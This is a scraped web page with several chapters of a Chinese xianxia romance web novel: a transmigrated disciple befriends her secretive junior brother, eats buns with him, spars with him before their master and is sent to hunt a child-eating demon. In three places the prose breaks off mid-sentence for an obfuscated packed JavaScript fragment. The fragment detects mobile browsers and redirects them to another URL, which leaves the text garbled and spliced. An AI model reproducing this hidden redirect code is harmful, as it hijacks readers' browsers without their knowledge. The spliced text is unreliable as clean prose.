杏花雨越下越大,不过短短片刻,两人身上和发上都落上了雪白的花瓣,锦书甩了甩头,抄起发带苦着脸再次试着扎头发。 倒也不是她手笨,不过这边人束发所用的发带,她之前从没用过,扎起来也就格外笨拙,不然也就不会只是轻轻一刮就被蹭掉了。 眼看她小脸皱成一团,陈赋舟轻声问道:“要我帮忙吗?” 锦书还没反应过来这帮忙指的是什么,陈赋舟就抽出了她手中的发带,绕到了她身后,动作轻缓地撩起她及腰的长发。 带着冷气的手指掠过泛着热气的耳廓,锦书身子一抖,连忙开口阻拦道:“不必了,我还是自己来吧。” 陈赋舟手里动作未停:“小师姐,别动。” 听到这话,锦书居然真的乖巧地放下了手。 “只有发带,没办法给小师姐扎出漂亮的发髻了。”少年带着些歉疚的声音在身后响起,锦书闻声摸向后脑勺。 干净又利落的一个马尾,比她自己扎的那松松垮垮的好多了。 “没事,这样就很好,多谢。”她转过身,仰起头,扬起嘴角衷心地感谢道。 “咳咳咳” 锦书这才想起已经被她冷落在一旁许久的燕老头。 他走上前,和蔼道:“这位小友是?” 陈赋舟面上挂着的笑容淡了些,有礼却又生疏道:“在下陈赋舟,和师姐一样,师承玄清真人。” 燕老呵呵笑道:“原来如此,那进屋的那位是?” 锦书答道:“那是大师兄,名唤步阙乾,是您那位好友的亲传弟子。” “你们天玄宗的弟子看上去都是青年才俊。进屋瞧瞧你那猫吗?” 锦书应了声“是”,往屋里走去。 燕老笑眯眯地摸着下巴跟在她身后,陈赋舟落后了一步,目光冷冷地打量着这个看上去再普通不过的老人。 这打量并没做什么额外的掩饰,被发现自然也不意外,燕老脚步慢了半分,偏过头,有些无奈道:“不必这么盯着我,我不是什么坏人。” 刮了许久的风此刻已经停了,屋内传来叮叮咚咚翻找东西的声音,屋外的廊上,木质地板上刻着屋檐上的灯笼的影子,两个人都笼罩在阴影里,却界线分明。 陈赋舟已不再是那副无辜又惹人怜惜的模样了,他神情冷冰冰的,带着些怀疑与探究,这老头确实没什么异样,可与生俱来的天赋却让他感到眼前的人仿若一个漩涡,神秘而又未知,让人摸不到底。 燕老有些玩味道:“你姓陈,是离魂陈家的孩子吧?” 陈赋舟脸色微变,燕老解释道:“不必这么惊慌,离魂陈家谁人不晓,你这样貌和气度一看便是大家子弟,我不过只是根据姓氏随便一猜罢了,看来倒碰巧猜对了。” 屋内此时却不偏不倚地传来锦书的声音:“师兄,你小心些,你动作这么重,会弄疼它的,它还只是一只小猫!” “放宽心,我动作已经很温柔了。”内室的盖在门上的帘子被掀起,步阙乾探出头催促道:“师弟,你怎么还不进来,我把这猫治好了就给你拿你要的东西。” 陈赋舟紧了紧手指,收回了钉在燕老身上探究的视线,步伐加快,先跨进了屋里。 7. 第 7 章 陈赋舟推开门时,那只雪白的猫正趴在他小师姐的怀里,吐着舌头,喘着粗气,一副格外难受的模样。 而小师姐则满脸忧心忡忡地打量着它的伤口,一双大大的眼睛盛满怜惜。 见到他进来,步阙乾从手头忙碌的工作中抬起头,说道:“小师弟,你坐,等我去后面给你找你要的东西。” 陈赋舟笑道:“劳烦师兄了。” 步阙乾推开屋中另一道门,声音也消失在药香中:“不妨事,只是你这月来的早,有种药我只好现在给你配了。” 锦书关心道:“师弟,你怎么了?” 陈赋舟将手指递到猫咪嘴边,一边逗着猫,一边答道:“没什么,只是我身体不怎么好,要常年吃药慢慢养着。” 难怪他总是一副看着没什么生气的样子,原来出现在这里是为了拿药啊,锦书郑重地点点头道:“你看上去确实身子不大好,闭关这么久也是因为这个吗?” “嗯,这段时间好了不少,师尊说接下来让我同师姐一起下山历练。” 燕老跨进屋里,听到陈赋舟的话,接道:“我看你那毛病还是少到外面乱跑的好。” 锦书有些惊讶地看了看燕老,这两人之前互相认识吗,她又转过去看陈赋舟。 陈赋舟抬眼看向燕老,带着几分微不可查得戾气,却又在感到锦书转过来的视线后,冲她露出了一个微笑:“倒也没有那么严重。” “师姐的腿上药了吗?” “不是很严重,我拿了些药,回去自己涂涂就好了。” 说话间,步阙乾将一打厚厚的药放在桌上,叮嘱陈赋舟道:“你现在状况好了一点,可以减少用量了,一日两幅就行。” 陈赋舟应了声好,转头问向锦书:“师姐还有事要忙吗?要同我一起回去吗?” 锦书揉了揉怀里猫咪蓬松的毛发:“没什么事了,只是我还是有些担心它,它伤的这么重,万一回去了又被其他野猫欺负怎么办?” 她举了举怀里的猫:“要不我把它带回我院子里吧?” 燕老打趣道:“你这傻孩子,不是还它有带你来的那只猫护着吗?你好端端地拆散人家一家干什么?” 锦书瞪大了眼睛:“什么一家?你说的是大白菜吗?别开玩笑了,公猫和公猫怎么一家?” 屋中有片刻的沉默,锦书顿了顿,试探道:“难道猫也不在乎性别?” 燕老脸色有些奇怪,最后还是步阙乾忍不住哈哈大笑了起来:“师妹,你再仔细瞧瞧这到底是公猫还是母猫?” 锦书先入为主把这猫当做了小可怜,听到这话有些迟疑地扒开了怀中猫咪的后肢,猫咪有些不爽地挣扎了两下,看清楚的锦书如遭雷劈。 “怎么是母猫啊?那我昨夜遇到的那只是谁啊?” 步阙乾疑惑道:“昨夜?” 锦书慌慌张张道:“就是,我昨天睡不着,在山脚下遇到了一只猫妖。” “师妹你可别开玩笑了,咱们天玄宗境内那有什么猫妖,就算出现了,长老们也会为了弟子们的安全着想,把它驱逐的。” “可......可是?” “你是不是睡觉睡糊涂了,分不清梦境和现实了?” 锦书垮着一张小脸,没有猫妖,在弟子里面也没有找到,那昨夜的人到底是谁啊,难不成是鬼? “师姐?” “嗯?”锦书从怀疑中回过神。 陈赋舟眼神温柔:“师姐就将这猫放到大师兄这里吧,都在山脚下,若是再有野猫来,大师兄也能照看一二。听说这几日食堂有做红糖馒头,正好我有些事想问问师姐,师姐要同我一起去吃点东西吗?” 一说到红糖馒头,就仿佛有股红糖味在口腔里蔓延开来,锦书食指大动,只略微思索了片刻,便爽朗答道:“好啊好啊,那一起走吧。” 陈赋舟勾起嘴角,向步阙乾告了别。 “燕老,您要和我们一起吗?”锦书贴心地问道。 燕老眯着一双慈爱的眼睛,打量了一下两人:“你们去吧,老夫我还有其他事要办呢。” 锦书不疑有他,搂着白猫,一只脚跨出了门,却被脚下的东西吓得差点飞了起来。 “师姐?” 锦书慌里慌张地抓着门栏,猛地吸了口气,这才看清脚下黄的黑的一大团,原来是大白菜。 她松了口气,带点埋怨道:“吓死我了,我说踩到了个什么东西呢,原来是大白菜来找它老婆来了。” 声音从身后响起:“这只猫叫大白菜?是因为它爱吃菜吗?” 锦书惊喜道:“你怎么这么聪明啊?这都能猜到!对了,它老婆还没有名字呢,我看干脆就叫它红糖吧,你觉得这个名字怎么样?” 陈赋舟面上掠过几分无奈,还是很快应和道:“一个很可爱的名字。” 得到了认可,锦书高兴地把红糖放到大白菜身边:“我要走了,你要好好照顾红糖哦。” 大白菜懒洋洋地“喵”了一声,往红糖身边凑了凑,在红糖脸上舔了几口。 锦书瘪瘪嘴:“真肉麻。” 听到身侧陈赋舟轻笑一声后,她站起身:“走吧,师弟,你想问我什么啊?” 两个人并肩往前走,锦书这才发现自己才刚刚到他肩膀。 自己不是比他大了好几个月吗?这家伙怎么长这么高。 “其实也没什么,这次出关发现宗门里变了不少,有些担心找不到路,所以想跟着师姐。” 其实我也没比你熟哪去,我想去哪还要在脑子里面想半天才能想起来呢。 这话锦书当然没有说出口,又听身侧人道:“当年拜师的时候因为身子不好,急匆匆地就闭关了,说起来那时候还没和师姐见过呢。” 锦书客套地答道:“当时是听说师尊收了个天赋顶顶好的师弟,今日一见果然如此,师弟你不仅性格好天赋好,就连模样也这么好。” “真的吗?师姐当真觉得我模样好?” 陈赋舟的声线就像飘在天上的风筝一样,引着锦书下意识地仰头看了他一眼,他唇角微微勾起,酒窝荡漾在脸侧,犹如春风轻抚过一般。 “当然啦。” 此时大约已是黄昏,一轮金黄的日头在天际线上摇摆着,将半边清澈的天空都染染成了金灿灿的海浪,照的陈赋舟从脸到耳根也开始红彤彤的,就像是着了火。 锦书不由得也捏了捏自己的耳垂,今天是挺热的。 周围有路过已经下了晚课的外门弟子,纷纷向锦书打起了招呼。 作为数量稀少的亲传弟子,而且还是比较有名的那几个,锦书确实很吸引人的注意力,她身旁的陈赋舟就好多了,没人知道小师姐旁边站的人是谁,不过也都向他投来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898120|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好奇的眼光。 锦书暗暗咂舌,在心里感叹道,师弟长得太漂亮了,这些向自己打完招呼的外门弟子都走出一大段距离了还不忘回头看他呢。 有个大胆的弟子打完招呼还凑上前搭话:“师姐,你是来找李行道的吗?他好像去食堂了。” 锦书连忙摆摆手,否认道:“我不找他。” 那弟子笑嘻嘻地同锦书告了别,拽着同伴跑了,只不过他们嘀咕的声音还是清清楚楚地传进了锦书耳朵了:“小师姐否认的这么快是不是害羞了?” 陈赋舟自然也没错过这句话,他微微皱了皱眉,垂下头闷闷问道:“师姐,李行道是谁?是师尊新收的小师弟吗?” 锦书还在自顾自的尴尬,听到这话才解释道:“不是的,是怀山长老新收的弟子。” “那为什么他们会以为你来找他?” 锦书嘴角抽了抽,实话实说道:“他之前和我有过婚约,这群人兴许是误会了吧。” 陈赋舟身子僵了僵,很明显地往锦书身边远离了一步,锦书有些不解地看他,他却一副歉意:“原来师姐已经有了未婚夫,我还是不要离师姐太近的好,以免被人看见了到处传闲话,若是因为我,影响师姐和那位李道友的感情,那我会很愧疚的。” “你想多啦,我都说了是以前,现在已经不是了,我们前几天就解除婚约了。”锦书往他那边靠了靠,比了比拳头:“再说,我们可是亲师姐弟,谁敢说闲话,我就告诉师尊,让他教训他们。” 陈赋舟神色微讶,旋即又露出了温柔的笑容:“原来是这样。” 食堂门口人来人往,好在看见锦书后,不少人都让开了路,两个人顺顺利利地就进去了。 “师姐,你想吃什么,我替你去拿吧。”陈赋舟看着密密麻麻的人群皱起了眉。 “我们一起吧,我不饿,拿两个馒头吃就好了。” 说着,锦书探着头找心心念念的红糖馒头的位置,却恰好捕捉到一个熟悉地背影,正是自己的绯闻男友——李行道。 他正端着盘子混在人群中,锦书拍了一下陈赋舟的肩膀:“等一下,师弟,我现在有点事,可能要麻烦你去拿了,我待会去找你,行吗?” 陈赋舟怔了怔,答了声“好”,便瞧见锦书马上小步跑向人群中的一个没什么表情的男子。 她戳了一下那个男子,男子表情上出现了一丝惊讶,两个人不知在说些什么,很快锦书就露出了一个放心的笑容,那双狡黠的眸子弯弯,嘴角的小痣衬得她笑容妩媚又可爱。 几个外门弟子闲聊的声音不偏不倚地传进耳朵。 “纪师姐来找她未婚夫吗?” “应该是了,两个人聊得很开心的样子。” “实话实说哈,师姐长得这么漂亮,感觉李师兄站她旁边都不怎么显眼。” “哎呀,其实李师兄也不丑,只不过和师姐比起来确实逊色不少。” “你们这样讲话真是刻薄,师姐自己喜欢不就好了,你看她笑得这么高兴,两个人感情肯定很好。” 陈赋舟垂下了眼睫,收回了视线,顺便给自己施了个闭音诀,等待耳边恢复了清净,这才往打饭的地方走去。 众人只见一个样貌出众的男子从面前走过,却不知为何他仿佛身侧散发着一股生人勿进的冷气,害的众人嘀咕的声音都不自觉的小了许多。 8. 第 8 章 锦书和李行道没有交谈太久,她只是简单地和他说了下,希望以后有人误会两人关系时的时候,希望他可以帮忙澄清一下,李行道很爽快就答应了。 锦书同李行道告了别,转了个身,发现师弟就在自己不远处安安静静地站着等自己,在注意到她的视线后,冲她笑了笑,举起了手里油纸包着的一团。 锦书雀跃地跑了过去,接过了热乎乎的油纸团。 “要吃完再回去吗?” 锦书摆摆头:“边走边吃吧。” 这地人太多,总有人投视线过来,实在是让人浑身发麻,再说,万一有熟人觉得她吃饭有什么奇怪的小习惯和原身不一样就不妙了。 她刚拆开油纸团,就被铺面而来的热气呼了一脸。 陈赋舟有些好笑地递给她自己的手帕,得到了锦书的感激一笑。 师弟人真好,长得好看,还贴心又善良,本来还有些担心处理不好人际关系,这样看来完全是多虑了。 锦书把擦过脸的帕子塞到自己兜里:“等我回去洗洗再还你。” 她把拆开的油纸包往陈赋舟面前递了递:“快趁热吃,虽然凉了也挺好吃的,但肯定还是热的最美味。” 陈赋舟也不拒绝,伸手从中捏了一个。 见状,锦书满意地咬了一口圆滚滚的馒头,白面与红糖恰到好处,可她却皱起了眉头。 陈赋舟疑惑道:“怎么了,小师姐?是不好吃吗?” “不知道为什么,之前有次我吃的凉的,感觉特别好吃,这次吃起来虽然也不错,但和普通的红糖馒头区别好像不大,没有上次吃起来那种让人惊叹的感觉了。” 陈赋舟了然道:“那应该是你当时太饿了,所以在记忆中就格外好吃吧。” 锦书若有所思,赞同地点了点头。 陈赋舟带着笑意看她,她腮帮子被馒头撑的鼓鼓的,看上去十分可爱。 锦书长得其实是极美的,不过年岁尚小,带着几分未曾消退的婴儿肥,所以常让人把她当做孩子。她的小脸很短,眼头圆钝,眼尾上翘,黑亮亮的眼珠子看人的时候总是带着几分顽劣,直而粗的眉毛又为她增添了几分英气,像一只娇憨的猫咪。 陈赋舟的视线着实令人难以忽视,锦书有些不解:“怎么总看我?你不爱吃这个吗,都没动几口。” 陈赋舟淡定地收回视线:“没有,只是看师姐吃的这么香,觉得很可爱。” 锦书有些不好意思,见他手中握着的馒头咬的连陷都没流出来,不禁问道:“你是不是不爱吃甜的?要不我们还是回去找一些别的东西吃吧?” “不用了,我只是不怎么爱吃东西,不过看小师姐吃的这么香,忽然也觉得有食欲起来了呢。” “怪不得你这么瘦,虽然咱们修士辟谷可以不吃饭,但你都瘦成这样了,还是多吃的好。”锦书惊叹道。 陈赋舟解释:“师姐误会了,我虽然看着瘦,但每天都有在修炼,不输其他修士的。” 锦书只当是他怕自己小瞧了他才这样说,于是了然的笑了笑,义正言辞道:“我又没说你不厉害,只是要你多吃点饭而已,反正以后要是可以我会监督你的!” 锦书拍了拍陈赋舟地肩膀,那张还带着孩子气的稚嫩面孔即使模仿严肃也有着褪不去的青涩。 陈赋舟不由得想笑,又怕她脸皮薄,便只能压抑着笑意郑重地点了点头。 边走边说,两座挨着的小院就出现在了眼前,锦书从油纸里又掏出一个馒头,把其他的又裹好,塞进了陈赋舟怀里:“这几个就留给你了,记得吃完哦,对了,你是不是才从后山搬过来,如果有什么缺的东西可以来问我要。” 热乎乎的包裹塞进怀里的时候,陈赋舟还有些愣神,听到这话才低声道:“好......师姐你对我真好。” 他后半句声音不大,锦书没听清,只是伸手指了指前方:“唉,你看,门上好像挂了什么。” 陈赋舟闻声抬头,果然看见两个人的门把上都挂着信笺,锦书已经飞快两步把信笺取了下来,看到署名,才恍然大悟地“哦”了一声。 “是师尊吗?”陈赋舟也走上前。 “嗯,师尊喊我明早去他殿里,既然如此,那我就先回去喽,你有事来敲我的门,或者隔着墙喊我一声也行。” 锦书打开院门,摆了摆手同陈赋舟告别,不忘补充道:“半夜不准喊我哦,不然我起床气一发作能把这山炸成两半!” 她又长又密的睫毛忽闪忽闪,脸颊侧的小痣缀在笑容旁就好像停留在花朵上的露珠,陈赋舟“噗嗤”地笑了一声,举起手保证道:“放心吧,师姐的安眠由我守护。” 锦书做了一个奇特的鬼脸,笑嘻嘻地钻进了院子里。 次日辰时,玄清宫。 锦书起了一个大早,正站在门外等玄清真人。 玄清宫离两个弟子居住的小院不远也不近,却更靠近山顶。此时,太阳还包裹在厚厚的白云之后,青色的天空稀稀拉拉的镶嵌了几颗还没褪去的疏星,金色的晨曦慢慢蔓延开来,给整座玄清宫渡上了一层灿烂的金边。 锦书有些无聊地踢着脚边细碎的石子。 来得早也进不去。玄清宫的童子阿福正握着把大扫帚在殿外扫着昨夜刮风卷下来的落叶,瞅见锦书远远地从台阶上走来,眼珠子瞪得越来越来大。 锦书不紧不慢地走到他面前,阿福确认了确实是她本人,这才低下头,继续做手里的活,瘪了瘪嘴道:“难得能在这个时辰看见你出现在玄清宫,我还以为撞鬼了呢。师尊大清早跑去找五长老练剑去了,估计过不了多会就回来了,你暂且在这等会吧。” 这幅不冷不淡的态度惹得锦书不由得在心里叹气,原身怎么能烦人成这样,上到大师兄,下到负责日常起居的童子,这整座天玄宗竟然没有几个她没捉弄过的人,也难怪阿福看见她就没有好脸色。 锦书今日穿了件嫩桃色的阔袖罗裙,绣着精致的纹路,长发上的同色发带根部的两颗小巧玲珑的铃铛随着她摆头的幅度发出清脆的铃声,她还正在为今天扎出了不算太凌乱的发型而有些窃喜。 时辰过早加上海拔又高,现在的天气自然说不上有多么令人舒适,锦书干巴巴地打了一个喷嚏。 “师姐,早上好。”温润的嗓音从身后传来。 陈赋舟姿态优雅地跨过几个台阶站到她的身侧,他穿了身白色滚银边锦袍,腰间系着玉带。 大早上的就看见师弟这张漂亮的脸简直就和睡醒后喝了一整杯温度适宜的白开水一般令人舒适。 锦书唇角上扬也应了声:“早上好。” 陈赋舟转过头问阿福:“师尊不在玄清宫吗?” 阿福一扫先前的冷落,笑嘻嘻地答道:“原来是四师兄。师尊估计快要回来了,师兄你稍等片刻。大清早的,冷死个人了,要不要喝杯热茶暖暖身子,我去给你端过来。” 陈赋舟答了声“不用”,阿福却不饶,留了句:“师兄你脸色这么苍白还是喝点好,我去给你端茶。”,这才扯着扫把往远处走了。 陈赋舟好笑地摇了摇头,低头看向锦书,嘴角弯了弯:“小师姐今日的发型很好看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898121|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦书脸一红,有些羞臊:“不过只是最普通的样式而已,我实在不怎么会梳辫子。” 陈赋舟唇角的酒窝明晃晃的:“小师姐怎么不来找我?” 锦书瞪大了眼睛:“嗯?” “我很会扎辫子。”见锦书还没回答,他有补充道:“女儿家的样式也都会。” 锦书疑惑道:“你家中有妹妹吗?” 陈赋舟微不可查的皱了皱眉头,很快又松开:“只有一个弟弟,只不过幼时身体不好,母亲常将我扮做女孩,说是老天最不忍心看漂亮的姑娘生病,扮的多了自然就学会了怎么扎辫子。” 锦书忍不住幻想了一下这样美丽的面孔若是生在姑娘身上该是什么样,居然想的有些面孔发烫,她舌头抵了抵上颚,道:“可老麻烦你总是不好,不如你还是教教我怎么编吧,等我学会了便一劳永逸了。” 半晌,玄清真人终于提着剑踏着寒霜赶了回来。 看到两个弟子都乖巧地站在殿外等候,忍不住欣慰地笑了笑。 “你们两人怎么这么巧都过来了,既然来了,那我们师徒三人便一起用个早膳吧,正好我也有事要同你们交代。” 师徒三人坐在殿内一张不大的圆桌上,玄清真人虽然平日里痴迷剑道、不问琐事,但是对自己的两个弟子还是极为疼爱的,也从不摆什么架子,虽然常常端出一副严肃模样,实则态度和家中长辈无甚区别。 他捧着热茶喝了一口,这才打量起了两个徒弟,只是看到锦书时呛了口茶:“锦书,你今日这打扮是?” 锦书这才暗道一声不好,平日里原身那么爱美,只要一出门往往把自己打扮成靓丽非常,怎么会把头发盘成这样就出门。 她大脑飞速运转,最后给自己找了个理由:“师尊,你不知道,最近就流行这样的呢?” 玄清真人眼神有几分古怪,试探着问道:“流行在脑袋上顶两个瓜?” 身边人发出一声难抑的笑声,锦书斜着眼看过去只能瞧见陈赋舟抖动的双肩,她郁闷道:“对啊,师尊你一看就是在山上待太久了,现在山下的姑娘都做这副打扮呢。” 玄清真人又抿了口茶,虽然确实不能理解这个新流行,但自己徒弟向来最爱美了,既然她都这样做了,那一定不是有假! 锦书怼了怼陈赋舟的胳膊:“对吧?师弟。” 陈赋舟清了清嗓子,跟屁虫似得应了声:“师尊,的确如此。” 玄清真人刚平复下的来的眼神又变得怪异了许多:“赋舟你和锦书之前有见过?” 陈赋舟垂下眼睫,一副乖巧做派:“昨日与师姐偶遇,闲聊了几句。” 玄清真人放下茶杯:“你们两人之前从未见过吧,几年前你拜师来的时候,锦书正好回家去了。” 锦书懵懵地回道:“昨日是第一次见,有什么问题吗,师尊?” 玄清看了看陈赋舟:“你师弟向来认生腼腆,想当年拜我为师的时候耗费了大半年才撬开他的嘴,一和他说话就是‘嗯’,过了一年多才愿意多说几句,怎么和你熟的这么快?” 锦书也看向陈赋舟,他浓密的睫毛打在脸上投出长长的阴影,看上去俨然一个乖巧的病美人,哪有师尊说的这般不听话。 “许是师尊你说话的方式不对,不像我,天生就比较有亲和感。” 玄清有些半信半疑,很想问一句,可是你师弟对其他人也很冷淡啊,但想了想,问这么多不重要的事好像有些碎嘴了,于是又把这话憋了回去,想到正事端正了身子:“赋舟,你和你小师姐比试一下如何?” 9. 第 9 章 锦书没想到玄清真人会突然提到让两人比试,一时有些茫然。 玄清自顾自解释道:“你师姐前两日刚和她的本命法宝互通心意,你又刚好闭关出来,趁着比试互相和对方熟悉一下,知根知底,以后出门在外才好结伴作战。” 陈赋舟轻咳两声:“不必了吧,师尊,你知道我并不擅长剑法。” 锦书扣着手心,试图拼凑起书中陈赋舟相关的碎片一样的信息,可惜收获甚微,他的戏份实在太少,加起来统共也没有几句话。 虽然不知道他实力到底如何,但按理来说,他闭关这么久,而且气息内敛,应当实力不俗。 多一事不如少一事,若是在比试中露出了什么破绽,被和原身关系最亲密的师尊看出来了,那就得不偿失了。 于是锦书马上和陈赋舟站在了同一阵线上,摆摆手道:“对呀,师尊,而且打打杀杀的多伤和气啊。” 玄清真人面色严肃,不容拒绝道:“只是让你们稍微比试一下,又没让动真格的,再说有为师在,怎么可能让你俩在我这出什么事。不过,锦书你可要注意了,你师弟虽然剑术不怎么样,幻术符咒法阵这些却修的都比你好,你刚刚熟悉自己的法宝,一定要控制力度。” 锦书应道:“师弟,你放心,师姐不会对你下重手的。” 师弟这幅病恹恹的柔弱样子,她怎么敢下重手嘛。 玄清把两人带到大殿后的演武场,退后两步,只留两人站在对立面。 他张嘴提示道:“开始吧。” 锦书手链从手腕上脱落,化作绊玉剑落在她手里,她脚尖点地,率先冲向了陈赋舟,手中小巧精致的长剑也点向他的肩头。 陈赋舟面对冲过来的锦书,只是微微闪身,锦书眼神凝聚在他身上,见他闪身,也轻巧地变动了一下方向,绊玉仍旧又稳又准地刺向目标。 与此同时,陈赋舟口中轻声念了几句,随即抬手,一个闪现到锦书身后,按住了她的肩膀。 锦书能猜到到大约是作用类似于瞬移的咒语,她在这方面确实是瘸腿,但陈赋舟不了解她的绊玉。这下虽然看似制住了锦书,却正是给了她机会。 看到少女扬起一抹狡黠的笑容,陈赋舟暗道一声不好,连忙要松手,可锦书哪里又会错过这样好的时机。 “绊玉,转!” 随着锦书的呼唤,绊玉光芒一闪,转眼间就不再是剑的模样,陈赋舟惊愕地看向自己的手腕,那里被一条覆盖着复杂美丽花纹的绸带紧紧地缠住。 昨日她在院中将绊玉化作不同样式的武器试了试,发现在必要时候,柔软且能变换长宽甚至形状的绸带格外好用,在某些情况下常常能发挥出令人出乎意料的威力。 锦书趁此时机,一只手将绸带朝自己的方向拉了过来,另一只手抬手劈向陈赋舟,他连连后退,皱了皱好看的眉毛,张嘴喊道:“有匪。” 锦书疑惑地嗯了一声,绊玉又回到她手上变作了长剑,只见陈赋舟手中也出现了一把剑,不过不似绊玉那般纤细灵巧,也不似李行道的天倦一般厚重沉稳,那柄剑看上去模糊又清晰,令人捉摸不透。 这样的名字倒不太像是陈赋舟会用的。 锦书有些警惕地抿了抿唇,挤着眼睛,想要看得仔细些,但无论如何一旦聚集精神看过去,只能看出一个大概的剑身,其他都看得极不真切,好像聚拢又散开的雾气一般。 陈赋舟握紧有匪剑,迎向锦书,锦书聚集灵力不惧地斩了过去,陈赋舟却使出了一道极快的剑法,架起了绊玉,又反向把它摁向锦书。 好在绊玉认主后对锦书亲近了不少,威力也大增,为了守护主人,它稳稳地架在了空中,尽管剑刃与有匪摩擦出丝丝火花,依旧不动丝毫。 “锦书,怎么身法显得如此生疏,也不用学过的剑法?”玄清在一旁提点道。 锦书咬了咬牙,是她不想使剑法的吗,虽然穿过来就有了原身那些记忆,剑法也记在脑海里了,但又没真真切切地自己练过,怎么可能能灵活地使得出来? 她现在唯一能用的出来还是那天与绊玉心意相通时脑海里面多出的那几道剑法。 不管了,锦书死马当作活马医,下身一软,便从一旁划了过去,然后依照脑海中的剑法攻向陈赋舟,只不过由于不熟的缘故,几招都被他化解了。 一时虽有些胶着,但锦书并不是性子急躁之人,想到先前玄清真人无意提点道陈赋舟剑术并不怎样,便决心先同他耗着,既然并不是高超的剑术,那一定会有破绽。 果不其然,不过几个来回,陈赋舟便显得有些乏力,逐渐招架不住锦书势头未减的招式了,其实,硬要说灵力,他确实比锦书高了一大截,不过剑术方面也实在如同玄清真人所说,水平实在一般。 锦书一边专心观察他的身法,仍不忘想到,原身修炼拖沓成这样,恐怕自己以后还要好补,不然如果不是这种近身的比试,她想要战胜陈赋舟还是十分困难的。 破绽映在眼眶中,锦书终于找准机会,在陈赋舟一个晃神间,眼疾手快地刺出了绊玉。 但天不遂人愿,在她本以为自己能够一击制敌时,却见陈赋舟那双透亮的眼睛中闪过一丝狡黠的笑意,瞬间她意识模糊,感到自己大脑空白了一刻,绊玉便擦着陈赋舟飞了过去。 锦书脑袋还有些晕,直挺挺地往地上栽,她虽然不太清晰,却记着好像是陈赋舟用了什么伎俩,在往他身旁摔倒时,咬了咬牙,用全力拽住了他的衣袖。 陈赋舟显然低估了锦书的意念,那里能想到她还有力气去拽自己,既没有防备,便跟着锦书往下倒了下去。 好在他手里还有把剑,连忙回过神来想用剑撑住身体。 谁料这时,拉住自己的少女仿佛又取回了所有力气一样,陈赋舟只觉得一股大力从袖口传来,接着是锦书一脚蹬向他的下盘。 陈赋舟整个身子腾空而起,少女的表情已经从先前的茫然无措变为了喜悦,明晃晃的笑容倒映在他琥珀般的眸子中,为那瞳孔点出几分亮色。 这一瞬间很快,只是和那双俏皮的眼睛对视时,他却觉得恍若过了许久。 陈赋舟落在地面上,脸颊处传来发丝的刺痒,目光不由得转向左侧,有些怔神。 锦书面向他,冲他挥了挥手里的发带,忽的刮起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898122|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵大风,发带随风飘扬,从她的手掌缠向他的手腕。 “上次你抓住了我的发带,这次是我赢了。” 陈赋舟勾了勾唇角:“今日为了同师姐见面拿了条玉色的。” 锦书含笑将发带递了回去:“为什么是玉色?” “人都说,我穿玉色最好看。” “确实,不过师弟你长这样穿什么都不会丑的。”锦书上下打量了一下他,赞同道:“对了,你之前让我晃神用的是什么招数?” 陈赋舟用发带束起长发,看着少女懵懂求知的眼神,有些好笑:“不过是一些简单的幻术。” 怪不得,幻术她还不是很了解呢,输在这方面倒也不亏,正好还提醒了她,需要找个时间了解一下这个世界的各种法术了。 一场比试下来,锦书虽然赢了,可玄清真人却对她有些不满,在他的计划中,大弟子应该快准狠将身体柔弱的二弟子打败才对,没想到墨迹了这么久,他毫不留情地点出锦书在战斗中所犯的缺点。 锦书被批地面红耳赤,自从高中她就没怎么去过学校里,难得地体验到了久违的功课做太差被老师教训的感受,心中还有些激动。 玄清真人又提点了陈赋舟几句,这才好像想起了正事一般,不紧不慢地开了口:“今日叫你们过来也不是要教你们什么,只是确实有些事务要交给你们。” “天玄宗管辖范围内的甸兰城,那里比较偏远,但你们应该都有所耳闻,甸兰城边上的偃建村恐怕有妖邪作祟,接连死了好几个幼童,我今早同你们的几位师伯商讨了一下,决定让你们几个亲传弟子去试炼一番。” 修真界自万年前仙魔大战以来,达成了前所未有的和谐,正道修士与魔修和平相处,不再有歧视与相互为难,魔修也不再以害人为生。但是凡间妖邪依旧不少,常常危害一方百姓,为此,几大宗门与世家召开仙统大会,约定各管一方、除妖卫道。 玄清真人提到的偃建村地处偏远,自三月前,每月十五的夜晚都会传来孩童的哭声,随机妖风大作,协裹住一个婴儿,将他搅成肉末。村中人为此请了几次道士做法,不知用了多少钱财,却都无果,村长便找了人前来天玄宗求助,恳请修士们下山捉妖。 天玄宗自然不会拒绝,待向前来求助的人仔仔细细的询问后,长老们断定这应当是一种名为应阴的妖怪,喜食婴儿,不过等级不高、法力较微,并不难对付。 